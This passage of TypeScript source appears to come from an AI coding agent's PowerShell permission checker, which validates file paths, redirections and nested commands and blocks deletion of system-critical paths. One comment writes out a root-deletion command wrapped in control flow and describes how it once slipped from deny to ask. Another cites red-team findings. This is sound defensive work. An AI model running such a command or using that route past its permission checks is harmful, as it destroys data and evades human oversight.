// Hard-deny removal of dangerous system paths (/, ~, /etc, etc.).
|
||
// Check the RAW path (pre-realpath) first: safeResolvePath can
|
||
// canonicalize '/' → 'C:\' (Windows) or '/var/...' → '/private/var/...'
|
||
// (macOS) which defeats isDangerousRemovalPath's string comparisons.
|
||
if (isRemoval && isDangerousRemovalRawPath(filePath)) {
|
||
return dangerousRemovalDeny(filePath)
|
||
}
|
||
|
||
const { allowed, resolvedPath, decisionReason } = validatePath(
|
||
filePath,
|
||
cwd,
|
||
toolPermissionContext,
|
||
operationType,
|
||
)
|
||
|
||
// Also check the resolved path — catches symlinks that resolve to a
|
||
// protected location.
|
||
if (isRemoval && isDangerousRemovalPath(resolvedPath)) {
|
||
return dangerousRemovalDeny(resolvedPath)
|
||
}
|
||
|
||
if (!allowed) {
|
||
const canonical = resolveToCanonical(cmd.name)
|
||
const workingDirs = Array.from(
|
||
allWorkingDirectories(toolPermissionContext),
|
||
)
|
||
const dirListStr = formatDirectoryList(workingDirs)
|
||
|
||
const message =
|
||
decisionReason?.type === 'other' ||
|
||
decisionReason?.type === 'safetyCheck'
|
||
? decisionReason.reason
|
||
: `${canonical} targeting '${resolvedPath}' was blocked. For security, Claude Code may only access files in the allowed working directories for this session: ${dirListStr}.`
|
||
|
||
if (decisionReason?.type === 'rule') {
|
||
return {
|
||
behavior: 'deny',
|
||
message,
|
||
decisionReason,
|
||
}
|
||
}
|
||
|
||
const suggestions: PermissionUpdate[] = []
|
||
if (resolvedPath) {
|
||
if (operationType === 'read') {
|
||
const suggestion = createReadRuleSuggestion(
|
||
getDirectoryForPath(resolvedPath),
|
||
'session',
|
||
)
|
||
if (suggestion) {
|
||
suggestions.push(suggestion)
|
||
}
|
||
} else {
|
||
suggestions.push({
|
||
type: 'addDirectories',
|
||
directories: [getDirectoryForPath(resolvedPath)],
|
||
destination: 'session',
|
||
})
|
||
}
|
||
}
|
||
|
||
if (operationType === 'write' || operationType === 'create') {
|
||
suggestions.push({
|
||
type: 'setMode',
|
||
mode: 'acceptEdits',
|
||
destination: 'session',
|
||
})
|
||
}
|
||
|
||
firstAsk ??= {
|
||
behavior: 'ask',
|
||
message,
|
||
blockedPath: resolvedPath,
|
||
decisionReason,
|
||
suggestions,
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
// Also check nested commands from control flow
|
||
if (statement.nestedCommands) {
|
||
for (const cmd of statement.nestedCommands) {
|
||
const { paths, operationType, hasUnvalidatablePathArg, optionalWrite } =
|
||
extractPathsFromCommand(cmd)
|
||
|
||
if (hasUnvalidatablePathArg) {
|
||
const canonical = resolveToCanonical(cmd.name)
|
||
firstAsk ??= {
|
||
behavior: 'ask',
|
||
message: `${canonical} uses a parameter or complex path expression (array literal, subexpression, unknown parameter, etc.) that cannot be statically validated and requires manual approval`,
|
||
}
|
||
// Don't continue — fall through to path loop for deny checks.
|
||
}
|
||
|
||
// SECURITY: Write cmdlet with zero extracted paths (mirrors main loop).
|
||
// optionalWrite cmdlets exempt — see main-loop comment.
|
||
if (
|
||
operationType !== 'read' &&
|
||
!optionalWrite &&
|
||
paths.length === 0 &&
|
||
CMDLET_PATH_CONFIG[resolveToCanonical(cmd.name)]
|
||
) {
|
||
const canonical = resolveToCanonical(cmd.name)
|
||
firstAsk ??= {
|
||
behavior: 'ask',
|
||
message: `${canonical} is a write operation but no target path could be determined; requires manual approval`,
|
||
}
|
||
continue
|
||
}
|
||
|
||
// SECURITY: bash-parity hard-deny for removal on system-critical
|
||
// paths — mirror the main-loop check above. Without this,
|
||
// `if ($true) { Remove-Item / }` routes through nestedCommands and
|
||
// downgrades deny→ask, letting the user approve root deletion.
|
||
const isRemoval = resolveToCanonical(cmd.name) === 'remove-item'
|
||
|
||
for (const filePath of paths) {
|
||
// Check the RAW path first (pre-realpath); see main-loop comment.
|
||
if (isRemoval && isDangerousRemovalRawPath(filePath)) {
|
||
return dangerousRemovalDeny(filePath)
|
||
}
|
||
|
||
const { allowed, resolvedPath, decisionReason } = validatePath(
|
||
filePath,
|
||
cwd,
|
||
toolPermissionContext,
|
||
operationType,
|
||
)
|
||
|
||
if (isRemoval && isDangerousRemovalPath(resolvedPath)) {
|
||
return dangerousRemovalDeny(resolvedPath)
|
||
}
|
||
|
||
if (!allowed) {
|
||
const canonical = resolveToCanonical(cmd.name)
|
||
const workingDirs = Array.from(
|
||
allWorkingDirectories(toolPermissionContext),
|
||
)
|
||
const dirListStr = formatDirectoryList(workingDirs)
|
||
|
||
const message =
|
||
decisionReason?.type === 'other' ||
|
||
decisionReason?.type === 'safetyCheck'
|
||
? decisionReason.reason
|
||
: `${canonical} targeting '${resolvedPath}' was blocked. For security, Claude Code may only access files in the allowed working directories for this session: ${dirListStr}.`
|
||
|
||
if (decisionReason?.type === 'rule') {
|
||
return {
|
||
behavior: 'deny',
|
||
message,
|
||
decisionReason,
|
||
}
|
||
}
|
||
|
||
const suggestions: PermissionUpdate[] = []
|
||
if (resolvedPath) {
|
||
if (operationType === 'read') {
|
||
const suggestion = createReadRuleSuggestion(
|
||
getDirectoryForPath(resolvedPath),
|
||
'session',
|
||
)
|
||
if (suggestion) {
|
||
suggestions.push(suggestion)
|
||
}
|
||
} else {
|
||
suggestions.push({
|
||
type: 'addDirectories',
|
||
directories: [getDirectoryForPath(resolvedPath)],
|
||
destination: 'session',
|
||
})
|
||
}
|
||
}
|
||
|
||
if (operationType === 'write' || operationType === 'create') {
|
||
suggestions.push({
|
||
type: 'setMode',
|
||
mode: 'acceptEdits',
|
||
destination: 'session',
|
||
})
|
||
}
|
||
|
||
firstAsk ??= {
|
||
behavior: 'ask',
|
||
message,
|
||
blockedPath: resolvedPath,
|
||
decisionReason,
|
||
suggestions,
|
||
}
|
||
}
|
||
}
|
||
|
||
// Red-team P11/P14: step 5 at powershellPermissions.ts:970 already
|
||
// catches this via the same synthetic-CommandExpressionAst mechanism —
|
||
// this is belt-and-suspenders so the nested loop doesn't rely on that
|
||
// accident. Placed AFTER the path loop so specific asks (blockedPath,
|
||
// suggestions) win via ??=.
|
||
if (hasExpressionPipelineSource) {
|
||
firstAsk ??= {
|
||
behavior: 'ask',
|
||
message: `${resolveToCanonical(cmd.name)} appears inside a control-flow or chain statement where piped expression sources cannot be statically validated and requires manual approval`,
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
// Check redirections on nested commands (e.g., from && / || chains)
|
||
if (statement.nestedCommands) {
|
||
for (const cmd of statement.nestedCommands) {
|
||
if (cmd.redirections) {
|
||
for (const redir of cmd.redirections) {
|
||
if (redir.isMerging) continue
|
||
if (!redir.target) continue
|
||
if (isNullRedirectionTarget(redir.target)) continue
|
||
|
||
const { allowed, resolvedPath, decisionReason } = validatePath(
|
||
redir.target,
|
||
cwd,
|
||
toolPermissionContext,
|
||
'create',
|
||
)
|
||
|
||
if (!allowed) {
|
||
const workingDirs = Array.from(
|
||
allWorkingDirectories(toolPermissionContext),
|
||
)
|
||
const dirListStr = formatDirectoryList(workingDirs)
|
||
|
||
const message =
|
||
decisionReason?.type === 'other' ||
|
||
decisionReason?.type === 'safetyCheck'
|
||
? decisionReason.reason
|
||
: `Output redirection to '${resolvedPath}' was blocked. For security, Claude Code may only write to files in the allowed working directories for this session: ${dirListStr}.`
|
||
|
||
if (decisionReason?.type === 'rule') {
|
||
return {
|
||
behavior: 'deny',
|
||
message,
|
||
decisionReason,
|
||
}
|
||
}
|
||
|
||
firstAsk ??= {
|
||
behavior: 'ask',
|
||
message,
|
||
blockedPath: resolvedPath,
|
||
decisionReason,
|
||
suggestions: [
|
||
{
|
||
type: 'addDirectories',
|
||
directories: [getDirectoryForPath(resolvedPath)],
|
||
destination: 'session',
|
||
},
|
||
],
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
// Check file redirections
|
||
if (statement.redirections) {
|
||
for (const redir of statement.redirections) {
|
||
if (redir.isMerging) continue
|
||
if (!redir.target) continue
|
||
if (isNullRedirectionTarget(redir.target)) continue
|
||
|
||
const { allowed, resolvedPath, decisionReason } = validatePath(
|
||
redir.target,
|
||
cwd,
|
||
toolPermissionContext,
|
||
'create',
|
||
)
|
||
|
||
if (!allowed) {
|
||
const workingDirs = Array.from(
|
||
allWorkingDirectories(toolPermissionContext),
|
||
)
|
||
const dirListStr = formatDirectoryList(workingDirs)
|
||
|
||
const message =
|
||
decisionReason?.type === 'other' ||
|
||
decisionReason?.type === 'safetyCheck'
|
||
? decisionReason.reason
|
||
: `Output redirection to '${resolvedPath}' was blocked. For security, Claude Code may only write to files in the allowed working directories for this session: ${dirListStr}.`
|
||
|
||
if (decisionReason?.type === 'rule') {
|
||
return {
|
||
behavior: 'deny',
|
||
message,
|
||
decisionReason,
|
||
}
|
||
}
|
||
|
||
firstAsk ??= {
|
||
behavior: 'ask',
|
||
message,
|
||
blockedPath: resolvedPath,
|
||
decisionReason,
|
||
suggestions: [
|
||
{
|
||
type: 'addDirectories',
|
||
directories: [getDirectoryForPath(resolvedPath)],
|
||
destination: 'session',
|
||
},
|
||
],
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
return (
|
||
firstAsk ?? {
|
||
behavior: 'passthrough',
|
||
message: 'All path constraints validated successfully',
|
||
}
|
||
)
|
||
}
|